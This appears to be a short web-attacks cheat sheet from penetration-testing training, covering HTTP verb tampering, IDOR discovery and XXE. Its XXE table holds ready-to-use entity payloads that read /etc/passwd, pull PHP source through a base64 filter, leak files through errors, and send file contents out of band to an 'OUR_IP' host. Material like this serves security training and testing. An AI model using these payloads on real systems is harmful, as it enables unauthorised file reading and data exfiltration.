Web Attacks
HTTP Verb Tampering
HTTP Method
- HEAD
- PUT
- DELETE
- OPTIONS
- PATCH
Command |
Description |
-X OPTIONS |
Set HTTP Method with Curl |
IDOR
Identify IDORS
- In URL parameters & APIs
- In AJAX Calls
- By understanding reference hashing/encoding
- By comparing user roles
Command |
Description |
md5sum |
MD5 hash a string |
base64 |
Base64 encode a string |
XXE
Code |
Description |
<!ENTITY xxe SYSTEM "http://localhost/email.dtd"> |
Define External Entity to a URL |
<!ENTITY xxe SYSTEM "file:///etc/passwd"> |
Define External Entity to a file path |
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php"> |
Read PHP source code with base64 encode filter |
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>"> |
Reading a file through a PHP error |
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>"> |
Reading a file OOB exfiltration |